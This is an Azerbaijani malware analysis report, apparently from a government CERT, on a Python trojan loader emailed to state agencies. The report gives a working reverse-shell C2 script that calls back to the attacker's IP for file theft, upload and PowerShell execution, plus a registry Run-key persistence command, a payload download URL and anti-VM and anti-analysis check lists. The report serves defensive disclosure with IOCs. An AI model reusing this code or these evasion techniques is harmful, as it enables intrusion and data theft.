Dövlət qurumlarını hədəf alan Python troyan yükləyicisi

Dövlət qurumlarını hədəf alan Python troyan yükləyicisi

64 bit icra edilə bilən fayl formatına malik zərərverici Python proqramlaşdırma dilində yazılmışdı və dövlət qurumlarına e-poçt xidməti üzərindən göndərilmişdi.Xüsusi Rabitə və İnformasiya Təhlükəsizliyi Dövlət Xidmətinin Kompüter İnsidentlərinə qarşı Mübarizə (CERT) Mərkəzi bu barədə açıqlama yayıb.

Fayl həcmi : 8.50 MB (8916475 bytes)

PE (Portable Executable) faylı PyInstaller tərəfindən paketlənmişdi. PyInstaller və oxşar alətlər yazılan Python kodlarını (aid olduqları modullar ilə birlikdə) tək bir icra edilə bilən fayl içərisinə sıxışdırmağa imkan yaradan alətlərdir.

Faylı virtual mühit içərisində işə saldıqda aşağıdakı mesaj ilə qarşılaşdıq.

İcra edilə bilən fayla aid ixrac edilən mətnlər bizə kodların Python 3.10 versiyası ilə hazırlandığını deyirdi.

İlkin olaraq kompilasiya edilmiş Python tərkib kodlarını (Python compiled bytecode — .pyc) «PyInstaller ixrac edici skript» dəstəyi ilə paket içərisindən ixrac etdik.

Növbəti əməliyyat əsas tərkib kodlarının yer aldığı Azerbaijan.docx.pyc faylını dekompilasiya etmək idi. Cari dekompilasiya skriptləri Python 3.10 versiyasını dəstəkləmədiyi üçün əməliyyat uğursuz oldu.

Geriyə kompilasiya edilmiş python scriptini manual analiz etmək qalırdı. İxrac edilən mətnlər üzərindən versiyanın 3.10 olduğunu bilirdik lakin dəqiqləşdırmək üçün birdə pyc fayl strukturunda Magic dəyərinə baxdıq. 3439 = 3.10

Bundan əlavə olaraq skripti import edəcəyimiz zamanı hər hansı bir problem ilə rastlaşmamaq üçün Major və Minor-dan əlavə Patch versiyasınıda (5) öyrənib buna uyğun Python paketini quraşdırdıq.

Skripti import edərək analiz prosesinə başladıq. dir əmri ilə obyekt attributlarının siyahısı aldıq.

>>> import aze
>>> dir(aze)
['IP', 'PAYLOAD_NAME', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'b64decode', 'bot', 'force_decode', 'fquit', 'get', 'json', 'messagebox', 'os', 'shutil', 'startup', 'subprocess', 'time', 'username', 'vm_check']

Diqqətimizi ilk çəkən mətn (string) tipində IP dəyişəni oldu.

>>> aze.IP
'46.175.144.56'

IP ünvana web bələdçi ilə qoşulduğumuz zaman aşağıdakı səhifə ilə qarşılaşdıq.

Daha bir neçə attributlara baxdıqdan sonra dis modulu ilə kodları disassemble etdik.

>>> aze.PAYLOAD_NAME
'payload.bin'
>>> aze.bot
'Azerbaijan.docx______________________'
>>> aze.messagebox()

Disassembly of messagebox:

aze.messagebox: Zərərverici bu metodu ekrana mesaj yazdırmaq üçün (mshta üzərindən) («Unable to run Microsoft Word. Please make sure the application has been property installed. Supported versions are 2010, 2007 and 2003») istifadə edir.

Disassembly of messagebox:
0 LOAD_CONST               	1 ('mshta "javascript:var sh=new ActiveXObject( \'WScript.Shell\' ); sh.Popup( \'Unable to run Microsoft Word. Please make sure the application has been property installed. Supported versions are 2010, 2007 and 2003.\', 0, \'Microsoft Word\', 64+0 );close()"')
2 STORE_FAST               	0 (cmd)
4 LOAD_GLOBAL              	0 (subprocess)
6 LOAD_ATTR                	1 (run)
8 LOAD_FAST                	0 (cmd)
10 LOAD_CONST               2 (True)
12 LOAD_GLOBAL              0 (subprocess)
14 LOAD_ATTR                2 (SW_HIDE)
16 LOAD_GLOBAL              0 (subprocess)
18 LOAD_ATTR                3 (CREATE_NEW_CONSOLE)
20 BINARY_OR
22 LOAD_CONST               3 (('shell', 'creationflags'))
24 CALL_FUNCTION_KW         3
26 POP_TOP
28 LOAD_CONST               0 (None)
30 RETURN_VALUE

Zərərverici bu metod vasitəsi ilə əgər sistemdə hər hansısa bir matris izi (aşağıda göstərəcəyimiz) aşkarlayar isə istifadəçiyə bu mesajı göstərərək fəaliyyətini dayandırır. Metod bunun üçün subprocess (gizli komanda sətiri parametri ilə — SW_HIDE) modulu ilə mshta alətini işə salır. Bu alət sistemdə HTML (JavaScript, VBScript) dilində yazılan kodların icrası üçün nəzərdə tutulub. Ətraflı: https://en.wikipedia.org/wiki/HTML_Application

Disassembly of startup:

aze.startup: Zərərverici bu metodu növbəti sistem başladılmasında özünü avtomatik olaraq işə salmaq üçün istifadə edir. Bunun üçün ilk olaraq «C:\Users\{currentuser}\appdata\roaming\msserviceconnection» qovluğunda aze.bot(cari modul adı).exe olaraq özünün birn kopyasını yaradır. Daha sonra REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v msserviceconnection /t REG_SZ /d C:\Users\{currentuser}\appdata\roaming\msserviceconnection\bot.exe windows reyestr açarını yaradır.

90 LOAD_GLOBAL	0 (os)
92 LOAD_METHOD	7 (system)
94 LOAD_CONST	7 ('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v msserviceconnection /t REG_SZ /d C:\\Users\\Users\\')
96 LOAD_GLOBAL	2 (username)
98 FORMAT_VALUE	0
100 LOAD_CONST	5 ('\\appdata\\roaming\\msserviceconnection\\')
102 LOAD_GLOBAL	6 (bot)
104 FORMAT_VALUE	0
106 LOAD_CONST	8 ('.exe" /f')
108 BUILD_STRING	5
110 CALL_METHOD	1
112 POP_TOP
114 LOAD_CONST	0 (None)
116 RETURN_VALUE

Disassembly of vm_check:

aze.vm_check: Zərərverici bu metod ilə matris içərisində olub olmadığını, zərərvericilərə qarşı istifadə üçün nəzərdə tutulan alət və ya proqram təminatları ilə analiz edilib edilmədiyi sorğulayır. Əgər bunlardan hər hansı biri qeydə alınar isə fəaliyyətini sonlandırır.

1-ci mərhələdə wmic csproduct get uuid — əmri ilə cihaz haqqında məlumatı götürür və aşağıdakılar ilə qarşılaşdırır:

‘032E02B4-0499-05C3-0806-3C0700080009’ ’03DE0294-0480-05DE-1A06-350700080009′
‘11111111-2222-3333-4444-555555555555’ ‘6F3CA5EC-BEC9-4A4D-8274-11168F640058’
‘ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548’ ‘4C4C4544-0050-3710-8058-CAC04F59344A’
‘00000000-0000-0000-0000-AC1F6BD04972’ ‘00000000-0000-0000-0000-000000000000’
‘5BD24D56-789F-8468-7CDC-CAA7222CC121’ ‘49434D53-0200-9065-2500-65902500E439’
‘49434D53-0200-9036-2500-36902500F022’ ‘777D84B3-88D1-451C-93E4-D235177420A7’
‘49434D53-0200-9036-2500-369025000C65’ ‘B1112042-52E8-E25B-3655-6A4F54155DBF’
‘00000000-0000-0000-0000-AC1F6BD048FE’ ‘EB16924B-FB6D-4FA1-8666-17B91F62FB37’
‘A15A930C-8251-9645-AF63-E45AD728C20C’ ’67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3′
‘C7D23342-A5D4-68A1-59AC-CF40F735B363’ ‘63203342-0EB0-AA1A-4DF5-3FB37DBB0670’
’44B94D56-65AB-DC02-86A0-98143A7423BF’ ‘6608003F-ECE4-494E-B07E-1C4615D1D93C’
‘D9142042-8F51-5EFF-D5F8-EE9AE3D1602A’ ‘49434D53-0200-9036-2500-369025003AF0’
‘8B4E8278-525C-7343-B825-280AEBCD3BCB’ ‘4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27’
’79AF5279-16CF-4094-9758-F88A616D81B4′ ‘FE822042-A70C-D08B-F1D1-C207055A488F’
‘76122042-C286-FA81-F0A8-514CC507B250’ ‘481E2042-A1AF-D390-CE06-A8F783B1E76A’
‘F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C’ ‘9961A120-E691-4FFE-B67B-F0E4115D5919’

2-ci mərhələdə os.getlogin metodu ilə cari istifadəçi adını götürür və aşağıdakılar ilə qarşılaşdırır:

‘robert’ ‘wdagutilityaccount’
‘abby’ ‘peter wilson’
‘hmarc’ ‘patex’
‘john-pc’ ‘rdhj0cnfevzx’
‘keecfmwgj’ ‘frank’
‘8nl0colnq5bq’ ‘lisa’
‘john’ ‘george’
‘pxmduopvyx’ ‘8vizsm’
‘w0fjuovmccp5a’ ‘lmvwjj9b’
‘pqonjhvwexss’ ‘3u2v9m8’
‘julia’ ‘heuerzl’
‘harry johnson’ ‘j.seance’
‘a.monaldo’ ‘tvm’
‘fred’ ‘kylie’
‘jones’ ‘joe cage’
‘mwlab’ ‘mygame1’
‘james-pc’ ‘hapubws’

3-cü mərhələdə zərərverici aşağıdakı 2 açara sorğu göndərir və virtual maşın içərisində icra edilib edilmədiyini sorğulayır:

  1. HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
  2. HKLM\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
‘virtualbox’
‘vmware’
‘VMware SVGA 3D’
‘VirtualBox Graphics Adapter (WDDM)’
‘F3MRK5A_’

4-cü mərhələdə siyahıda qeyd edilən qovluqların sistemdə olub olmadığını sorğulayır:

‘D:\Tools’
‘D:\OS2’
‘D:\NT3X’

5-ci mərhələdə proses mühit (Process Environment) üzərindən kompüter adını götürür və aşağıdakı kompüter adları ilə qarşılaşdırır:

‘bee7370c-8c0c-4’ ‘desktop-nakffmt’
‘win-5e07cos9alr’ ‘b30f0242-1c6a-4’
‘desktop-vrsqlag’ ‘q9iatrkprh’
‘xc64zb’ ‘desktop-d019gdm’
‘desktop-wi8clet’ ‘server1’
‘lisa-pc’ ‘john-pc’
‘desktop-b0t93d6’ ‘desktop-1pykp29’
‘desktop-1y2433r’ ‘wileypc’
‘work’ ‘6c4e733f-c2d9-4’
‘ralphs-pc’ ‘desktop-wg3myjs’
‘desktop-7xc6gez’ ‘desktop-5ov9s0o’
‘qarzhrdbpj’ ‘oreleepc’
‘archibaldpc’ ‘julia-pc’
‘d1bnjkfvlh’ ‘compname_5076’
‘desktop-vkeons4’ ‘NTT-EFF-2W11WSS’

6-cı və sonuncu mərhələdə zərərverici tasklist əmri ilə sistemdə fəaliyyət göstərən proseslərin siyahısı götürür və aşağıdakı zərərvericilərin analizində istifadə edilən proqram təminatları adları ilə qarşılaşdırır

                    ‘fakenet’                     ‘dumpcap’
                    ‘httpdebuggerui’                     ‘advanced_ip_scanner’
                    ‘wireshark’                     ‘fiddler’
                    ‘vboxservice’                     ‘df5serv’
                    ‘vboxtray’                     ‘vmtoolsd’
                    ‘vmwaretray’                     ‘ida64’
                    ‘ollydbg’                     ‘pestudio’
                    ‘vmwareuser’                     ‘vgauthservice’
                    ‘vmacthlp’                     ‘x96dbg’
                    ‘vmsrvc’                     ‘x32dbg’
                    ‘vmusrvc’                     ‘prl_cc’
                    ‘prl_tools’                     ‘xenservice’
                    ‘qemu-ga’                     ‘joeboxcontrol’
                    ‘ksdumperclient’                     ‘ksdumper’
                    ‘joeboxserver’                     ‘vmwareservice’
                    ‘vmwaretray’

Faydalı yük və C2:

Yuxarıdaki əməliyyatları icra etdikdən sonra zərərverici http://46.175.144.56:80/download/PAYLOAD.bin adresindən faydalı yükü (payload.bin) requests modulu ilə sistemə endirir və exec əmri ilə işə salır. Faydalı yük qarşı tərəfə yoluxan sistemdə aşağıdakı əmrləri icra etməyə kömək edən (komanda nəzarəti) python skriptidir.

  1. Sistemdən faylların çəkilməsi (download)
  2. Sistemə faylların yüklənməsi (upload)
  3. Fayl sistemi içərisində hərəkət etmək (cd)
  4. Uzaqdan skript icrası (powershell üzərindən)
full_msg = ''
new_msg = True
msg_len = 0
while True:
	msg = shell.recv(16)
	if msg == b'':
		shell = socket(AF_INET, SOCK_STREAM)
		shell.setsockopt(SOL_SOCKET, SO_REUSEADDR, 0)
		shell.connect((IP, PORT))
		continue
	if new_msg:
		msg_len = int(msg[:header_size])
		new_msg = False
	full_msg += msg.decode("utf-8")
	if len(full_msg) - header_size == msg_len:
		msg = full_msg[header_size:]
		msg = msg
		new_msg = True
		if "download" in msg:
			try:
				filename = msg.replace("download", "").strip()
				if path.exists(path.join(getcwd(), filename)):
					op = open(path.join(getcwd(), filename), 'rb')
					result = op.read().decode()
				else:
					result = "File not found"
			except Exception as ex:
				print(ex)
		elif "upload" in msg:
			try:
				filename = msg.replace("upload", "").strip()
				header = f"""GET /upload/file/download/{filename} HTTP/1.1\n
				Host: http://{IP}:{HTTP_PORT}\n
				User-Agent: python-requests/2.28.1\n
				Accept-Encoding: gzip, deflate\n
				Accept: */*\n
				Connection: keep-alive\r\n\r\n"""
				http = socket(AF_INET, SOCK_STREAM)
				http.settimeout(5)
				http.connect((IP, HTTP_PORT))
				print("connect")
				http.sendall(header.encode())
				response = http.recv(4096)
				uplfile = open(filename, "wb")
				if response.decode().find("HTTP/1.1 302 FOUND") < 0:
					while response:
						file = http.recv(4096)
						if file:
							uplfile.write(file)
						else:
							uplfile.flush()
							uplfile.close()
							http.close()
							break
					result = "Done"
				else:
					result = "File not found"
			except:
				result = "error"
		elif "cd" in msg:
			try:
				directory = msg.replace("cd", "").strip()
				if path.exists(path.expanduser(directory)):
					chdir(path.abspath(path.expanduser(directory)))
				elif ".." in directory:
					chdir("..")
				result = str(getcwd().encode())
			except:
				result = "error"
		else:
			try:
				response = Popen(["powershell", "-Command", msg], stdout=PIPE, shell=True).communicate()[0].decode()
				if not response:
					response = "Done"
				result = response

			except:
				result =  "error"
		result = f"{len(result):<{header_size}}" + result
		shell.send(bytes(result, "utf-8"))
		full_msg = ""

 

IOCs:

MD5: F94F8DEF4D4C6ABF76879FA12F951E5C
SHA-1: 9C26C2519C473E525A980B4D5801F7397DAEC17B

IP:

46.175.144.56